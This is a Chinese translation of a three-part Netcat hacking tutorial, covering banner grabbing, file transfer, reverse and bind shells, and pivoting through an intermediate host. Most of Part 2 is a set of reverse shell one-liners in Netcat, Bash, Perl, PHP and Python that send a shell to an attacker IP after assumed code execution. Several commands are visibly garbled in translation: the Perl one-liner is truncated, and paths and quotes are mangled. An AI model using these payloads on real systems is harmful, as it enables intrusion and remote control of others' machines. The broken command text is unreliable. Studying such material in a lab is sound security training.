使用Netcat進行黑客攻擊

1.用Netcat進行黑客攻擊第1部分:基礎知識

Netcat是一個很好的網路實用程序,用於使用TCP和UPD協議讀取和寫入網路連接。Netcat通常被稱為網路工具中的瑞士軍刀,我們將在使用黑客教程的不同教程中大量使用它。Netcat最常見的用途是設置反向和綁定shell,管道和重定向網路流量,埠偵聽,調試程序和腳本以及Banner抓取。在本教程中,我們將學習如何使用Netcat的基本功能,如:

Banner抓取 原始連接 Web伺服器交互

文件傳輸

我們將使用運行Linux的幾台虛擬機和一些可視化來演示這些技術。Netcat教程的黑客攻擊將分為以下3部分:

用Netcat進行黑客攻擊第1部分:基礎知識使用Netcat進行黑客攻擊第2部分:綁定和反向彈出使用Netcat進行黑客攻擊第3部分:高級Netcat技術

我們從基礎知識開始,看看我們如何使原始數據連接獲取伺服器Banner。

Banner抓取,原始連接和web伺服器交互

服務Banner通常由系統管理員用於網路上的系統和服務的存儲。服務Banner標識正在運行的服務,通常也是版本號。Banner抓取是一種在開放埠上檢索有關特定服務的信息的技術,可用於進行漏洞評估的滲透測試。當使用Netcat進行Banner抓取時,您實際上將與指定埠上的指定主機進行原始連接。當Banner可用時,它會列印到控制台。讓我們看看在實踐中如何運作。

Netcat Banner獲取

使用以下命令來獲取伺服器Banner(與服務建立原始連接):

nc [ip address] [port]

我們來試試這個在21埠運行的Metasploitable 2上的FTP服務:

nc 192.168.100.100 21

nc [ip] [port]用於與埠進行原始連接,當可用時將返回伺服器Banner。

我們可以看到有一個vsFTPD服務在埠21上運行。如果您想了解更多有關此主題的信息,請查看服務枚舉教程

Netcat原連接

為了演示原始連接的工作原理,我們將在FTP服務連接到目標主機後發出一些FTP命令。在匿名的情況下,我們來看看這個FTP伺服器是否允許匿名訪問,通過USER和PASS命令。

通過原始連接與FTP服務進行交互

此示例演示了如何抓取Banner以及如何設置和使用原始數據連接。在這個例子中,我們使用了FTP服務,但這也適用於其他服務,如SMTP和HTTP服務。

Web伺服器交互

Netcat還可以通過發出HTTP請求與Web伺服器進行交互。通過以下命令,我們可以抓住在Metasploitable 2上運行的Web服務的Banner:

nc 192.168.100.108 80

然後運行此HTTP請求:

HEAD / HTTP / 1.0

Apache webserver Banner

Web伺服器使用伺服器橫幅進行響應:Apache / 2.2.8(Ubuntu)DAV / 2和PHP版本。

要檢索Web伺服器上的頂級頁面,我們可以發出以下命令:

nc 192.168.100.108 80

然後運行此HTTP請求:

GET / HTTP / 1.0

Web伺服器頁面

使用Netcat進行文件傳輸

在這個例子中,我們將使用Netcat連接傳輸一個文本文件。假設我們在目標主機上執行遠程命令,我們希望將文件從攻擊主機傳輸到目標主機。首先,我們需要在目標主機上設置一個偵聽器,並從攻擊主機連接到它。我們將使用埠8080用於此目的,我們將該文件安全保存到桌面:

nc -lvp 8080> /root/Desktop/transfer.txt

在攻擊主機上,我們連接到8080埠並發送文件名稱transfer.txt:

nc 192.168.100.107 8080 </root/Desktop/transfer.txt

Netcat文件傳輸

然後我們使用cat查看攻擊主機和目標主機這兩個地方的的文件的內容,進行比較

文件從主機轉移到目標

正如我們在這裡看到的,文件的內容是相同的,這意味著它已經從攻擊區域轉移到目標主機。

總結

在使用Netcat教程的Hacking的第一部分中,我們已經學習了如何處理幾個基本功能,如原始連接,Banner抓取和文件傳輸。我們已經學會了如何抓取包含有關在特定埠上運行的服務的信息的伺服器旗標Banner。我們還學習了如何通過使用原始連接和Netcat與服務進行交互。在本教程中,我們使用原始數據連接獲取對FTP伺服器的匿名訪問,並發出一些FTP命令。我們還學習了如何使用Netcat與Web伺服器進行交互。我們可以檢索網頁並發送HTTP請求。最後但並非最不重要的是,我們已經學會了如何使用Netcat將文件從一個區域傳輸到另一個區域。

接下來,使用netcat進行黑客攻擊的教程中,我們將了解如何使用反向shell和綁定shell

2.用Netcat進行黑客攻擊第2部分:綁定和反向shell

Hacking with Netcat part 2: Bind and reverse shells - Hacking Tutorials在Hacking with Netcat教程的第1部分中,我們已經了解了Netcat的基礎知識。現在是時候深入了解Netcat最受歡迎和常見的用法:設置主動連接bind shell和被動連接 reverse shell。在本教程中,我們將了解bind shell和reverse shell之間的區別以及如何使用它們。首先Netcat並不存在於系統上,因此它可能被認為是潛在的安全問題。在這些情況下,我們將了解如何使用其他工具和編程語言,而不是Netcat替代某些功能來設置被動連接反向shell。Python,PHP,Perl和Bash等編程和腳本語言是很好的選擇。我們將在本教程中總結一下如何使用bind shell。

在本教程中,我們將學習如何使用Netcat:

  • 反向連接shell
  • 正向連接bind shell

我們來看看如何在Netcat中使用bind shell和reverse shell。

Netcat反向reverse shell

在滲透測試中,最常見,或者最受歡迎的用法是反向 reverse shell和正向bind shell。反向shell是從目標主機發起到處於監聽狀態的攻擊機器的shell連接方式,又叫被動連接,而正向bind shell是攻擊主機通過特定的埠進行偵聽目標主機即將到來的連接。在惡意軟體中,bind shell又通常被稱為後門。

在下面的內容中我們將展示使用bind shell和reverse shell。本教程中將使用4444埠,但請注意,這可以是任何開放埠。實際上,通常您需要使用更常見的埠,如80和443來設置反向shell,因為這些埠是更常見的打開。

設置Netcat反向Shell

我們來看看一個Netcat反向 shell的可視化,以便更好地了解它的工作原理:

Netcat反向shell解析

在此示例中,目標使用埠4444反向連接攻擊主機。-e選項將Bash shell發回攻擊主機。請注意,我們也可以在Windows的cmd.exe上使用-e選項。假設我們已經在目標主機上找到了遠程代碼執行(RCE)漏洞。我們可以在目標主機上使用-e發出Netcat命令,並使用Netcat發出命令啟動反向shell。

讓我們來看看下面的例子是如何操作的,我們使用2個安裝了Netcat的Linux系統。

Netcat反向shell的例子

為了設置Netcat反向shell,我們需要遵循以下步驟:

  • 設置一個Netcat偵聽器。
  • 從目標主機連接到Netcat偵聽器。
  • 從攻擊主機發出目標主機上的命令。

首先,我們在攻擊主機上設置一個NetCat偵聽器,然後使用以下命令偵聽埠4444:

nc -lvp 4444

接下來我們在目標主機上執行下面的命令來連接我們的攻擊主機(記住我們在這個攻擊主機上執行了遠程代碼):

對於Linux:

nc 192.168.100.113 4444 -e / bin / bash

對於Windows:

nc.exe 192.168.100.113 4444 -e cmd.exe

在攻擊主機上,我們現在有了一個來自目標主機的bash shell,我們在啟動反向shell之後我們完全控制了這個主機。

Netcat反向shell的一個例子

具有綠色控制台文本的頂部窗口是目標主機,下面的控制台是攻擊主機。我們可以看到,我們連接到目標主機192.168.100.107上的攻擊者192.168.100.113獲得了root訪問許可權。

目標主機上沒有Netcat的反向shell

所示示例的一個主要缺點是,您需要在目標主機上使用Netcat,這在現實世界場景中通常不是這樣。在某些情況下,Netcat存在,或者我們有一種安裝方式,但在許多情況下,我們需要使用替代方法反向連接到攻擊主機。我們來看看幾種替代方法來設置反向shell。

Bash反向shell

也可以使用Bash通過使用以下命令從目標主機啟動反向shell連接攻擊主機:

bash -i>&/dev/tcp/192.168.100.113/4444 0>&1

一個Bash反向shell的例子

正如我們可以看到Netcat在那個攻擊主機中也接受了一個bash反向shell。

Perl反向shell

如果Perl存在於遠程主機上,我們也可以使用Perl啟動一個反向shell。在目標主機上運行以下命令來設置反向shell:

perl -euse Socket; $ i =「192.168.100.113」; $ p = 4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(「tcp」)); if(connect(S,sockaddr_in($ p,inet_aton (STDOUT,「>&S」);open(STDOUT,「>&S」);open(STDERR,「>&S」); exec(「/ bin / sh -i」);} ;」

一個Perl反向shell的例子

PHP反向shell

當受感染的主機上存在PHP時,網路伺服器通常是這種情況,它是Netcat,Perl和Bash的絕佳選擇。讓我們運行下面的代碼來使用PHP作為連接攻擊主機的反向shell:

php -r$ sock = fsockopen(「192.168.100.113」,4444); exec(「/ bin / sh -i <&3>&3 2>&3」);

我們可以看到這個反向shell,一個內核也返回一個/ bin / sh shell。

PHP反向shell的一個例子

Python反向shell

Python也是Linux機器上常用的語言。以下命令使用Python執行反向shell:

python -cimport socket,subprocess,os; s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((「192.168.100.113」,4444)); os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); P = subprocess.call([「/ bin / sh」,」 - i」]);」

一個Python反向shell的例子

Netcat正向bind Shell

正如我們前面在使用Netack進行黑客攻擊的教程中提到的一樣,bind shell是一個綁定到目標主機上的特定埠以監聽即將到來的連接的shell。我們來看看一個Netcat正向bind shell的原理:

Netcat綁定shell解釋

在該圖中,目標使用Netcat偵聽器將Bash shell綁定到它特定埠4444。攻擊者使用簡單的Netcat命令連接到此埠。設置bind shell的步驟如下:

  • 使用Netcat將一個bash shell綁定到4444埠。
  • 從攻擊主機連接到埠4444上的目標主機。
  • 從攻擊主機發出命令到目標主機上。

Netcat綁定shell示例

讓我們看看這個控制台的操作實例:

Netcat綁定Shell示例

目標主機將Bash shell綁定到埠4444,然後攻擊主機使用Netcat連接到該埠,並在獲取目標主機的root許可權。

總結

在第二部分的Hacking with Netcat系列中,我們了解到反向shell從目標主機連接到攻擊主機。同時我們知道,我們不一定需要在目標主機安裝Netcat來啟動反向shell,我們也可以使用PHP,Python,Perl,Bash等命令反向連接netcat監聽攻擊主機。即我們可以嘗試使用最常見的編程和腳本語言完成反向shell的連接。我們還了解到正向bind shell。bind shell將服務綁定到目標主機上的特定埠,同時偵聽來自攻擊主機的傳入連接,接收攻擊主機的主動連接。

在Netcat的黑客入侵的第3部分中,我們將會看到一些更先進的技術,如重定向流量,管網Netcat和設置Netcat作為代理。

3.用Netcat進行黑客攻擊第三部分:高級技術

Hacking with Netcat part 3: Advanced Techniques - Hacking Tutorials在Hacking with Netcat教程系列的第3部分中,我們將介紹一些更先進的技術。正如我們現在所知,Netcat也被稱為瑞士軍刀的網路工具。瑞士軍隊網路工具應該能夠做的不僅僅是製作原始數據連接和shell。所以我們也要看一些高級功能。在本章中,我們將學習NetCat如何通過pipe管道輸出到文件和應用程序,以及NetCat在網路節點是如何運行。接下來,我們將介紹一些關於通過NetCat來進行連接的不同的場景。當目標主機位於攻擊主機不能從網路直接訪問的網路上時,中間網路連接行之有效。在這種情況下,我們可以退而求其次尋找一個在網路上可以訪問和連接目標主機和攻擊主機的網路主機或者中間網路。同時允許訪問攻擊主機和目標主機的中間節點稱為中間點,也可以叫代理。我們先從Netcat的管道輸出文件和應用程序開始。

netcat使用管道輸出到文件夾

首先,我們將通過管道使用netcat埠掃描輸出名為output.txt的文件。一般命令行可以通過文件名後使用運算符>輸出到指定文件夾。對於Netcat,這將不起作用,因為我們需要在文件裡面同時引導stderr和stdout。我們可以使用以下命令來執行此操作:

nc -vv -z localhost 1-100> output.txt 2>&1

Netcat埠掃描輸出到文件

此命令將所有結果從埠掃描輸出到output.txt文件。我們可以使用grep命令來過濾開放埠的輸出內容:

nc -vv -z localhost 1-100 2>&1 | grep open> output.txt

grep netcat輸出到文件

此命令僅通過開放埠輸出到文本文件。讓我們看看我們如何使用netcat管道在網路連接節點之間輸入和輸出。

Windows網路與Netcat聯動

假設我們有2個Windows目標和1個Kali Linux攻擊主機。我們已經從Kali Linux機器中盜取了Windows主機1,我們希望在Windows主機2上獲得一個shell,windows主機2隻能從Windows主機1訪問。我們需要將來自Kali Linux主機的流量定向到Windows主機1,然後再重定向流量到Windows主機2.windows主機2輸出流量應該應答到Windows主機1,在windows主機那裡流量又將被重定向回到Kali Linux機器。讓我們看看下面的圖形,以便更好地了解:

在虛擬實驗室中,我們使用2台Windows機器和1台Kali Linux機器配置了該方案。在網路節點上,我們將輸入命令從攻擊主機的管道傳輸到目標主機。來自目標主機的輸出將從網路節點回送到攻主機。讓我們來看看每個機器必須使用哪個Netcat命令。我們將使用埠3333和埠4444作為連接埠。

  • Windows主機1需要將埠3333上的傳入流量引導到Windows主機2埠4444上,並且來自Windows主機2的輸入流量必須發送到Kali Linux的埠2222上。
  • Windows主機2需要將通過埠4444上將命令傳輸到windows主機2的CMD.exe,並將輸出結果重定向到Windows主機1埠4444上。
  • Kali Linux應該通過3333埠向Windows主機1發送命令,並從Windows主機1的埠4444接收輸入。
  • 確定這些信息,我們需要按照以下順序在每個機器上執行以下命令:

  • Kali Linux控制台輸入:nc -lvp 3333
  • Kali Linux控制台輸出:nc -lvp 4444
  • Windows主機2:nc -lvp 4444 -e cmd.exe
  • Windows主機1:nc.exe 10.11.1.16 3333 | nc.exe 10.11.1.198 4444 | nc.exe 10.11.1.16 2222
  • 以下圖形描述了Kali Linux攻擊主機,Windows主機1和目標主機之間的網路連接情況。

    使用Netcat重定向流量

    在Kali Linux攻擊主機上的輸入終端上發出的命令通過網路在Windows主機2上執行。來自Windows主機2的輸出將重定向到攻擊主機的輸出終端。此設置的唯一問題是執行的命令和輸出有延遲。發出命令後,您必須按Enter鍵1次或2次才能看到出現在攻擊主機輸出終端的輸出結果。當netcat上的-e切換在其他節點可用時,還有一個更簡便的選擇。此選項僅在攻擊主機上使用1個終端會話。我們來看看這是如何工作的,看下面的命令:

    • Kali Linux攻擊主機:nc -lvp 4444
    • Windows主機2:nc -lvp 4444 -e cmd.exe
    • Windows主機1 - 中轉點:nc -v 10.11.1.16 4444 -c「nc -v 10.11.1.198 4444」

    第一個命令在攻擊主機上設置偵聽器,並在目標主機上設置第二個命令。最後一個命令打開windows主機1與攻擊主機的Netcat會話,並使用到目標主機新的Netcat會話作為返回命令。請注意,網路節點和目標主機都使用了Netcat上的-e開關。

    網路與Netcat在Windows上的連接

    在第一個終端,我們通過網路在目標主機獲取shell。這種結構也有一個延遲,所以你必須按一次或兩次回車接收來自目標主機的返回結果。如果您知道如何解決延遲問題,歡迎留言!現在我們來看看我們是否可以在3個Linux主機上做同樣的事情。

    Linux網路與Netcat聯動

    在以下情況下,我們有3個Linux主機:

    • 10.11.1.16是在Kali Linux上運行的攻擊主機。
    • 10.11.1.250是代理節點,也是中間網路節點。
    • 10.11.1.95是目標主機。

    下圖顯示了攻擊主機,中間節點和目標主機的場景:

    我們將按照以下順序在不同的主機上使用以下命令:

    • 10.11.1.16攻擊主機:nc -lvp 4444
    • 10.11.1.95目標主機:nc -lvp 4444 -e / bin / sh
    • 10.11.1.250中間節點:nc -v 10.11.1.16 4444 -c「nc -v 10.11.1.96 4444」

    第一個命令在Kali Linux攻擊主機上的4444埠設置一個偵聽器。第二個命令在目標主機上也設置偵聽器,也在埠4444上。最後一個命令在中間節點上執行,通過命令連接到埠4444上的攻擊主機和目標主機。

    以下屏幕截圖顯示了3台機器的不同終端的情況。第一個終端是攻擊主機,第二個終端是中間節點,最後一個是目標主機:

    使用Netcat在Linux上進行網路轉發

    在攻擊主機終端上,我們發出了whoami和ifconfig命令。whoami的輸出是root,ifconfig輸出主機10.11.1.95的IP信息。此設置工作正常,我們能夠在攻擊主機在網路上無法到達目標主機的情況下通過中間節點實現目標主機的連接控制。這種情況起初似乎有點混亂,但不用擔心。花點時間來理解,多加練習並能理解。到目前為止,我們已經了解了Netcat輸出管道,如埠掃描結果和連接。我們還學習了如何在Linux和Windows上使用中間節點進行網路連接。或許有更多的高級技術和Netcat教程,歡迎補充和學習。

    推薦閱讀:

    Hacking with Netcat part 1: The Basics - Hacking Tutorials

    Hacking with Netcat part 2: Bind and reverse shells - Hacking Tutorials

    Hacking with Netcat part 3: Advanced Techniques - Hacking Tutorials

    SecTools Top Network Security Tools

    翻譯可能有不到位的,歡迎指正和補充,工具學習會持續更新,歡迎一起分享


    推薦閱讀:

    IATF16949五大工具關係總結
    給你Python的pip換個源吧
    電動工具的主要生產廠家有哪些?各個廠家的拳頭產品是什麼?
    FireEye推出了一款Mac下系統監控工具Monitor
    日常生活和工作中有哪些被過度使用(overuse)的工具、方法和思維模式?

    TAG:黑客Hacker | 工具 | 網路安全 |